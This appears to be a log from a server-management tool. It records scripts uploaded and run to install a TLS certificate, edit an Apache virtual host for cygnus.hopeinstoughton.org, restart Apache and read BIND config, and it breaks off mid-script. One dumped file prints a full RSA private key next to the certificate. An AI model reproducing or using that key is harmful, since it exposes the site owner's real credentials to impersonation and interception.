AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-03 17:51:40:
chmod 755 /tmp/pkp806996; /tmp/pkp806996; rm /tmp/pkp806996
2026-01-03 17:51:40:
dir=/etc/ssl/certs
2026-01-03 17:51:40:
PUT: /tmp/pkp735418
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 17:51:40:
chmod 755 /tmp/pkp735418; /tmp/pkp735418; rm /tmp/pkp735418
2026-01-03 17:51:40:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
2026-01-03 17:51:40:
PUT: /tmp/pkp544651
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi
2026-01-03 17:51:41:
chmod 755 /tmp/pkp544651; /tmp/pkp544651; rm /tmp/pkp544651
2026-01-03 17:51:41:
2026-01-03 17:51:41:
PUT: /tmp/pkp949945
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-03 17:51:42:
chmod 755 /tmp/pkp949945; /tmp/pkp949945; rm /tmp/pkp949945
2026-01-03 17:51:42:
.
2026-01-03 17:51:42: Establishing a connection
2026-01-03 17:51:43:
PUT: /tmp/pkp926025
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 17:51:44:
chmod 755 /tmp/pkp926025; /tmp/pkp926025; rm /tmp/pkp926025
2026-01-03 17:51:44:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 17:51:44:
PUT: /tmp/pkp549145
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 17:51:44:
chmod 755 /tmp/pkp549145; /tmp/pkp549145; rm /tmp/pkp549145
2026-01-03 17:51:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 2965
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
2026-01-03 17:51:45:
PUT: /tmp/pkp149129
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 17:51:45:
chmod 755 /tmp/pkp149129; /tmp/pkp149129; rm /tmp/pkp149129
2026-01-03 17:51:45:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734 5393
cb:e0:5a:1a:86:8b:72:2b:5a:be:05:ab:9a:16:a3:d0
-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBdt0mXJZhKosSEE/D8Pgrg9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY1MzA3WhcNMjYwNDAzMTY1MzA2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL6FEOblmWBpj/p7H71hQWaCucqOWppi0LG1A5T6s3ponF51
YVeKycDTdPhqMp8sDDV4EhPeT6FZR5EJg0kEBtrFZ9WOU/6EKeXnsQXSCp0iNCr3
eGE7UZ1+gHIg/6xRmU4ypqk/0SSWMdKGppEVogKuO8rFPIECAI8FUBWC004OIX4s
YoWsq9NWkVdVKXd/55E3r0d6ccV2pNGAJiu2+Nj02QGJyqxPFN2gpBcggZcwcOiO
4mmjAPc4V1+Sxzd/5c4JorGJdeqylbomSza8UHAzIlss0XJyXQpQ/8vHBnccenvu
XhSUx+KeOSFk0Ib8/Gg02fNrZUp9y1FeSZVCgL8CAwEAAaOCAjQwggIwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUmEjvRsyKLV1a2VWYL8suoqqtNZEwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8E
KDAmMCSgIqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExMi5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZuE/HpVAAAEAwBIMEYCIQCu/Znw5lG7YOLXpvfrxbLFRTM5KAQBb9Uy
L+qoWsbDDQIhALq2uJNGsyOlKksBc+2xF49XpifrOmWwI7O13QhgJ4CIAH4AcX6V
88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGbhPx67AAIAAAFAAXt6u4E
AwBHMEUCIQCHYW1IQWNBY4oxv+gvCsi4oTzyYkEskfl2G043i3BLqgIgJxKbgcX6
FrO2lCXdVFLe5qRA7mJ6QfeiTLflQofGXUcwDQYJKoZIhvcNAQELBQADggEBAByu
oGAyfdT6PK4t2v9OlUuShIj7wl1+QXaBb4f7NW59uSsuOv6OgKAARHmJlTzz9zi4
DZEWOiVWg8OtkuaCJK/ZD+Kr1Jn2w2EQRLOjIR5qjbhVZNQA3XqiSRyzdLUmOERN
ZG6RYUfI7Ph4xFJ0sUuoNAX7SW5Z2whpzxq4GagoN4ZbBu+3Nkd+ALq+D27u+64S
h3xeIzEiDn15lyraKMzRV9ZF+ztHelwOPIBATQplg1BtNYIjHFUcZpxtp+nZQEPv
Sx96f3zg+Qff40T3oo73xbmkPYic9SKsyPZIqcAxsLXCG02oHkeQ/OFWeO6S1MKp
clY91ZTr/pcxv8iTcwk=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+hRDm5ZlgaY/6
ex+9YUFmgrnKjlqaYtCxtQOU+rN6aJxedWFXisnA03T4ajKfLAw1eBIT3k+hWUeR
CYNJBAbaxWfVjlP+hCnl57EF0gqdIjQq93hhO1GdfoByIP+sUZlOMqapP9EkljHS
hqaRFaICrjvKxTyBAgCPBVAVgtNODiF+LGKFrKvTVpFXVSl3f+eRN69HenHFdqTR
gCYrtvjY9NkBicqsTxTdoKQXIIGXMHDojuJpowD3OFdfksc3f+XOCaKxiXXqspW6
Jks2vFBwMyJbLNFycl0KUP/LxwZ3HHp77l4UlMfinjkhZNCG/PxoNNnza2VKfctR
XkmVQoC/AgMBAAECggEAXoe8tqwmWXmXOEO+IGOwpRHo6JGQb/jmrr3vbIyl3+8m
4xFfvqV87IGfEKD0xBiBaEhOw+/y185qHZM4QlLOqd734bTQhUEDXvECWy54GLY/
ZzBJ2QirOrdpOPeZlGEabXvhSKoC9iHVz60C2Yr/y0+zGC2cEzCwoUYUEdBLUvcB
fN7uGcYFULkbbdPtbUUnSPKZj7ZxGMkkLuZPInFZq/5ZFlDA/CV74eA0xtmfpifX
EY4EQDsX4Zhe+CXYuP6U4PPnZVddaToYYal1IRvriTGagED7J/MXGrUsHOaxvGkT
hhJwuoOcQxECTylCGyF2uL1Fe8hv7nFktlNeUUg63QKBgQDo4ZGOJq4MJLbb+Gf9
JYoI2HjEQ6wTcu8BTr0XNBgaASVnT0OE/p5QGCeGstTYthI9EmGd0t30e1wpxfEg
mJii8UKvBheryGpHjyhTh16eYUF4+HwSY227Wgbzuc53DlBIZm+G4ZIysemllZld
5T5B1nkW2+Tfec1UO0aKs4xFgwKBgQDRbu2aayw2ubuaqMf/DfqrAFM7QDSQtK09
KF8tbbsLwQPK+69BiMeYYuQCSCC737uDP8zOMpRI05NV6n5EonWcs4aoJSZzL/EG
I4Onu8PctjCwV5cO94ow9hUUxdr8QZrervtKJg+QCkXSCsLKJz/clOP0TbnApQ9u
oRqiP19vFQKBgBnrMQX/LBPR6kAlL32vNeOyJA7D8Vzgx9T/bHAurhgG1KDg44Tj
yb7kUVHeiW3tJa6CYzbrhyR0rlc/3oxgL2zDKUbNiMjnr1xzhGt3f4JlFKJgFX7+
bfISHP/3SBFcGHdWX0dFx724q2ZwdfdLUliFhEiVBK4SolWjm0BIp239AoGATOwo
Wwo4IBWR4VlSs8xnoD0rVNzdMbUa2Bam9qGSDNwkz34nvbNGVCMmSexCEZ84WRmq
2KVdL25+dBT/safV+Os7bzDN8YrPRQjwR0BAzSUhtvNE6VtkJ12LGqkdKH/UKSwt
4ese1jHfuSj4qJVH8HXDUCzoJ+i4RVLo3GTYYY0CgYEAoBkIBHoFZYSZmI/5X3Uj
RDoG2FiXESbDrkHwFE5WD7JyuCc6m5OJ9uwqoOlayVBsNaRPr5/fuXF8CoDR/DIP
QJ02AZyhxz3VFn+A3wZdQ2Ppvs0L3Lfki4ZpcrMrJCq0rLpzXiEnXFv95dsi3KbP
3gzLrhTHTnzA5nW+aTVR76E=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 18:11:22: Establishing a connection
2026-01-03 18:13:30: Establishing a connection
2026-01-03 18:13:30:
PUT: /tmp/pkp122116
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
